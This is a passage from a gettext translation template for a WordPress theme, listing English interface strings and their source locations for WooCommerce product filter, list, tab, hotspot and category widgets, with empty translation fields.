msgstr ""

#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:181
msgid "Overrides option from Appearance -> WooCommerce"
msgstr ""

#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:212
msgid "Try out our creative styles for categories block."
msgstr ""

#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:217
msgid "Grid 1"
msgstr ""

#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:218
msgid "Grid 2"
msgstr ""

#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:219
msgid "Grid 3"
msgstr ""

#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:220
msgid "Grid 4"
msgstr ""

#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:221
msgid "Grid 5"
msgstr ""

#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:253
msgid "Space between"
msgstr ""

#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:256
msgid "No Spacing"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:44
msgid " Product filters"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:97
msgid "Filter type"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:101
msgid "Attributes"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:102
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:630
#: inc/widgets/product_stock_status.php:7
#: inc/widgets/product_stock_status.php:16
msgid "Stock status"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:136
msgid "Category order"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:162
msgid "Hide empty categories"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:177
msgid "Show current category ancestors"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:178
msgid ""
"If you visit category Man, for example, only man's subcategories will be "
"shown in the page title like T-shirts, Coats, Shoes etc."
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:208
#: inc/widgets/product_filter.php:65
msgid "Attribute"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:221
msgid "Show in categories"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:222
msgid ""
"Choose on which categories pages you want to display this filter. Or leave "
"empty to show on all pages."
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:238
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:309
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:260
#: inc/elementor/modules/penci-product/widgets/penci-product.php:161
#: inc/widgets/product_filter.php:79
msgid "Query type"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:242
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:313
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:264
#: inc/elementor/modules/penci-product/widgets/penci-product.php:165
#: inc/js_composer/inc/product_param.php:104
#: inc/js_composer/shortcodes/product/settings.php:107
#: inc/widgets/product_filter.php:82
msgid "OR"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:243
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:314
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:265
#: inc/elementor/modules/penci-product/widgets/penci-product.php:166
#: inc/js_composer/inc/product_param.php:105
#: inc/js_composer/shortcodes/product/settings.php:108
#: inc/widgets/product_filter.php:81
msgid "AND"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:254
#: inc/widgets/product_filter.php:101
msgid "Swatches size"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:258
msgid "Small (15px)"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:259
msgid "Normal (25px)"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:260
msgid "Large (35px)"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:271
#: inc/widgets/product_filter.php:113
msgid "Show labels"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:301
#: inc/widgets/product_stock_status.php:24
msgid "On Sale filter"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:316
#: inc/widgets/product_stock_status.php:31
msgid "In Stock filter"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:395
msgid "Color Scheme"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:399
#: inc/js_composer/shortcodes/simple_list/settings.php:38
msgid "Light"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:400
#: inc/js_composer/shortcodes/simple_list/settings.php:39
msgid "Dark"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:600
#: inc/widgets/product_filter.php:58 inc/widgets/product_filter.php:765
msgid "Filter by"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:676
msgid "Filter by price"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:749
msgid "Default sorting"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:750
msgid "Sort by popularity"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:751
msgid "Sort by average rating"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:753
msgid "Sort by price: low to high"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:754
msgid "Sort by price: high to low"
msgstr ""

#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:763
#: inc/widgets/product_sorting.php:31
msgid "Sort by"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:46
msgid " - Product Hotspot"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:122
msgid "Items"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:144
#: inc/js_composer/shortcodes/product/settings.php:9
#: inc/woocommerce/woocommerce.php:163
msgid "Product"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:153
msgid "Dropdown side"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:154
msgid "Show the content on left or right side, top or bottom."
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:207
msgid "Link text"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:249
msgid "Select product"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:267
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:71
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:413
#: inc/js_composer/shortcodes/team_member/settings.php:222
msgid "Position"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:274
msgid "Horizontal position (%)"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:295
msgid "Vertical position (%)"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:353
msgid "Hotspot icon"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:366
msgid "Hotspot action"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:367
msgid "Open hotspot content on click or hover"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:392
msgid "Hotspot Color"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:403
msgid "Hotspot Background Color"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:414
msgid "Hotspot Shadow Color"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:449
msgid "Product Title Typography"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:465
msgid "Product Price Typography"
msgstr ""

#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:505
msgid "Product Button Typography"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:20
msgid " Product List"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:49
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:51
#: inc/js_composer/shortcodes/small_list/settings.php:32
msgid "Type:"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:79
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:77
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:98
#: inc/js_composer/shortcodes/small_list/settings.php:71
#: inc/js_composer/soledad_vc.php:537 inc/js_composer/soledad_vc.php:1045
msgid "Columns on Tablet"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:95
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:91
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:116
#: inc/js_composer/shortcodes/small_list/settings.php:86
#: inc/js_composer/soledad_vc.php:554 inc/js_composer/soledad_vc.php:1064
msgid "Columns on Mobile"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:109
msgid "Horizontal Space Between Products"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:120
msgid "Vertical Space Between Products"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:132
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:124
msgid "Space Between Image & Content"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:144
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:133
#: inc/js_composer/shortcodes/small_list/settings.php:100
msgid "Vertical Align"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:203
msgid "Product Query"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:210
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:170
#: inc/elementor/modules/penci-product/widgets/penci-product.php:86
msgid "Data source"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:211
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:171
#: inc/elementor/modules/penci-product/widgets/penci-product.php:87
msgid "Select content type for your grid."
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:215
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:175
#: inc/elementor/modules/penci-product/widgets/penci-product.php:91
#: inc/js_composer/inc/product_param.php:15
#: inc/js_composer/shortcodes/product/settings.php:17
msgid "All Products"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:216
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:176
#: inc/elementor/modules/penci-product/widgets/penci-product.php:92
#: inc/js_composer/inc/product_param.php:16
#: inc/js_composer/shortcodes/product/settings.php:18
msgid "Featured Products"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:217
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:177
#: inc/elementor/modules/penci-product/widgets/penci-product.php:93
#: inc/js_composer/inc/product_param.php:17
#: inc/js_composer/shortcodes/product/settings.php:19
msgid "Sale Products"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:218
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:178
#: inc/elementor/modules/penci-product/widgets/penci-product.php:94
#: inc/js_composer/inc/product_param.php:18
#: inc/js_composer/shortcodes/product/settings.php:20
msgid "Products with NEW label"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:219
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:179
#: inc/elementor/modules/penci-product/widgets/penci-product.php:95
#: inc/js_composer/inc/product_param.php:19
#: inc/js_composer/shortcodes/product/settings.php:21
msgid "Bestsellers"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:220
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:180
#: inc/elementor/modules/penci-product/widgets/penci-product.php:96
#: inc/js_composer/inc/product_param.php:20
#: inc/js_composer/shortcodes/product/settings.php:22
msgid "List of IDs"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:221
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:181
#: inc/elementor/modules/penci-product/widgets/penci-product.php:97
#: inc/js_composer/inc/product_param.php:21
#: inc/js_composer/shortcodes/product/settings.php:23
msgid "Top Rated Products"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:222
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:182
#: inc/elementor/modules/penci-product/widgets/penci-product.php:98
msgid "Recent Viewed Products"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:230
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:190
#: inc/elementor/modules/penci-product/widgets/penci-product.php:103
msgid "Include only"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:231
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:191
#: inc/elementor/modules/penci-product/widgets/penci-product.php:104
#: inc/js_composer/inc/product_param.php:33
#: inc/js_composer/shortcodes/product/settings.php:36
msgid "Add products by title."
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:247
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:207
#: inc/elementor/modules/penci-product/widgets/penci-product.php:117
msgid "Categories or tags"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:265
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:225
#: inc/elementor/modules/penci-product/widgets/penci-product.php:132
msgid ""
"Select order type. If \"Meta value\" or \"Meta value Number\" is chosen then "
"meta key is required."
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:275
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:235
#: inc/elementor/modules/penci-product/widgets/penci-product.php:142
#: inc/js_composer/inc/product_param.php:82
#: inc/js_composer/shortcodes/product/settings.php:85
msgid "Number of comments"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:277
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:237
#: inc/elementor/modules/penci-product/widgets/penci-product.php:144
#: inc/js_composer/inc/product_param.php:84
#: inc/js_composer/shortcodes/product/settings.php:87
msgid "Meta value"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:278
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:238
#: inc/elementor/modules/penci-product/widgets/penci-product.php:145
#: inc/js_composer/inc/product_param.php:85
#: inc/js_composer/shortcodes/product/settings.php:88
msgid "Meta value number"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:288
msgid "Products Per Page"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:289
msgid "Number of products you want to show in this list."
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:298
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:249
#: inc/elementor/modules/penci-product/widgets/penci-product.php:153
msgid "Number of grid elements to displace or pass over."
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:340
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:291
#: inc/elementor/modules/penci-product/widgets/penci-product.php:186
msgid "Meta key"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:341
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:292
#: inc/elementor/modules/penci-product/widgets/penci-product.php:187
#: inc/js_composer/inc/product_param.php:126
#: inc/js_composer/shortcodes/product/settings.php:129
msgid "Input meta key for grid ordering."
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:352
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:303
#: inc/elementor/modules/penci-product/widgets/penci-product.php:195
#: inc/elementor/modules/query-control/module.php:48
msgid "Exclude"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:353
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:304
#: inc/elementor/modules/penci-product/widgets/penci-product.php:196
msgid "Exclude posts, pages, etc. by title."
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:378
msgid "Hide Product Image?"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:390
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:229
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:133
#: inc/js_composer/shortcodes/small_list/settings.php:150
#: inc/js_composer/shortcodes/testimonails/settings.php:47
msgid "Image Position"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:432
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:266
#: inc/js_composer/shortcodes/small_list/settings.php:167
msgid "Image Align"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:500
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:328
#: inc/js_composer/shortcodes/image_gallery/settings.php:40
#: inc/js_composer/shortcodes/pc_single_featured/settings.php:17
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:43
#: inc/js_composer/shortcodes/product/settings.php:315
#: inc/js_composer/shortcodes/product_tabs/settings.php:264
#: inc/js_composer/shortcodes/small_list/settings.php:194
#: inc/template-builder/single-elements/featured-overlay.php:54
#: inc/template-builder/single-elements/featured.php:41
#: inc/template-builder/single-elements/smartlists.php:93
msgid "Image Size"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:509
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:335
#: inc/js_composer/shortcodes/pc_single_featured/settings.php:24
#: inc/js_composer/shortcodes/small_list/settings.php:201
#: inc/template-builder/single-elements/featured.php:48
msgid "Image Size for Mobile"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:518
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:342
#: inc/js_composer/shortcodes/small_list/settings.php:208
msgid "No Crop Image?"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:524
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:348
msgid ""
"To make it works, you need to select Image Size above is \"Penci Masonry "
"Thumb\" or \"Penci Full Thumb\" or \"Full\""
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:530
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:352
#: inc/js_composer/shortcodes/small_list/settings.php:215
msgid "Move Image Above The Post Meta on Mobile?"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:543
msgid "Product Meta Data"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:550
msgid "Hide Product Price"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:561
msgid "Hide Product Categories"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:572
msgid "Hide Product Rating"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:583
msgid "Custom Product Title Words Length"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:672
msgid "Product Items Background Color"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:681
msgid "Product Items Padding"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:693
msgid "Add Borders for Product Items"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:702
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:763
msgid "Remove Border Bottom On Last Item"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:715
msgid "Products Items Borders Width"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:726
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:783
msgid "Padding for Side Content of Image"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:738
msgid "Product Categories"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:775
msgid "Product Title"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:812
msgid "Product Price"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:831
msgid "Sale Color"
msgstr ""

#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:869
msgid "Product Price Margin Top"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:42
msgid " AJAX Products Tabs"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:93
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:329
#: inc/js_composer/shortcodes/product_tabs/settings.php:18
msgid "Tabs title"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:102
#: inc/elementor/modules/penci-product/widgets/penci-product.php:560
msgid "Hidden Hot Label"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:117
#: inc/elementor/modules/penci-product/widgets/penci-product.php:572
msgid "Hidden New Label"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:132
#: inc/elementor/modules/penci-product/widgets/penci-product.php:584
msgid "Hidden Sale Label"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:426
msgid "Tabs Title Color"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:437
msgid "Tabs Title Border Color"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:459
msgid "Tabs Label Color"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:470
msgid "Tabs Label Hover Color"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:481
msgid "Tabs Label Hover Border Color"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:495
msgid "Tabs Label Active Color"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:506
msgid "Tabs Label Active Border Color"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:542
msgid "Products Layout"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:564
#: inc/elementor/modules/penci-product/widgets/penci-product.php:236
msgid "Horizontal space between items"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:587
#: inc/elementor/modules/penci-product/widgets/penci-product.php:256
msgid "Vertical space between items"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:634
#: inc/elementor/modules/penci-product/widgets/penci-product.php:297
#: inc/js_composer/shortcodes/product/settings.php:196
#: inc/js_composer/shortcodes/product_tabs/settings.php:144
msgid "Items per page"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:635
#: inc/elementor/modules/penci-product/widgets/penci-product.php:298
msgid "Number of items to show per page."
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:649
#: inc/elementor/modules/penci-product/widgets/penci-product.php:309
#: inc/js_composer/shortcodes/product/settings.php:207
#: inc/js_composer/shortcodes/product_tabs/settings.php:155
msgid "Load more button"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:650
#: inc/elementor/modules/penci-product/widgets/penci-product.php:310
#: inc/js_composer/shortcodes/product/settings.php:208
#: inc/js_composer/shortcodes/product_tabs/settings.php:156
msgid "Infinit scrolling"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:651
#: inc/elementor/modules/penci-product/widgets/penci-product.php:311
#: inc/js_composer/shortcodes/product/settings.php:209
msgid "Links"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:669
#: inc/js_composer/shortcodes/small_list/settings.php:477
msgid "Carousel Settings"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:700
#: inc/elementor/modules/penci-product/widgets/penci-product.php:363
#: inc/js_composer/shortcodes/product/settings.php:221
#: inc/js_composer/shortcodes/product_tabs/settings.php:170
msgid "Scroll per page"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:701
#: inc/elementor/modules/penci-product/widgets/penci-product.php:364
msgid ""
"Scroll per page not per item. This affect next/prev buttons and mouse/touch "
"dragging."
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:788
#: inc/elementor/modules/penci-product/widgets/penci-product.php:433
msgid ""
"This option allows you to init carousel script only when visitor scroll the "
"page to the slider. Useful for performance optimization.'"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:805
#: inc/elementor/modules/penci-product/widgets/penci-product.php:447
msgid "Products Design"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:813
msgid "Products hover"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:817
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:840
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:854
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:873
#: inc/elementor/modules/penci-product/widgets/penci-product.php:456
#: inc/elementor/modules/penci-product/widgets/penci-product.php:476
#: inc/elementor/modules/penci-product/widgets/penci-product.php:487
#: inc/elementor/modules/penci-product/widgets/penci-product.php:503
#: inc/js_composer/shortcodes/product/settings.php:300
#: inc/js_composer/shortcodes/product_tabs/settings.php:249
msgid "Inherit from Theme Settings"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:836
#: inc/elementor/modules/penci-product/widgets/penci-product.php:472
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:528
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:155
#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:74
#: inc/template-builder/single-elements/custom-field.php:196
#: inc/template-builder/single-elements/featured-overlay.php:362
#: inc/template-builder/single-elements/meta.php:212
msgid "Icon Style"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:869
#: inc/elementor/modules/penci-product/widgets/penci-product.php:499
msgid "Icon Animation"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:897
#: inc/elementor/modules/penci-product/widgets/penci-product.php:521
msgid "Image dimension"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:899
#: inc/elementor/modules/penci-product/widgets/penci-product.php:523
msgid ""
"You can crop the original image size to any custom size. You can also set a "
"single value for height or width in order to keep the original size ratio."
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:909
#: inc/elementor/modules/penci-product/widgets/penci-product.php:530
msgid "Stock progress bar"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:910
#: inc/elementor/modules/penci-product/widgets/penci-product.php:531
msgid "Display a number of sold and in stock products as a progress bar."
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:922
#: inc/elementor/modules/penci-product/widgets/penci-product.php:540
msgid "Show Product Categories"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:923
#: inc/elementor/modules/penci-product/widgets/penci-product.php:541
msgid "Display a product categories list under product title."
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:935
#: inc/elementor/modules/penci-product/widgets/penci-product.php:550
msgid "Show Product Rating"
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:936
#: inc/elementor/modules/penci-product/widgets/penci-product.php:551
msgid "Display a product star rating under product title."
msgstr ""

#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:948
msgid "Quantity input on product"
msgstr ""

#: inc/elementor/modules/penci-product/widgets/penci-product.php:40
msgid " Products"
msgstr ""

#: inc/elementor/modules/penci-product/widgets/penci-product.php:225
#: inc/js_composer/shortcodes/product/settings.php:138
#: inc/js_composer/shortcodes/product_tabs/settings.php:86
msgid "Products Display"
msgstr ""

#: inc/elementor/modules/penci-product/widgets/penci-product.php:321
msgid "Pagination Spacing"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:19
msgid " Progress Bar"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:39
msgid "Progressbar"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:48
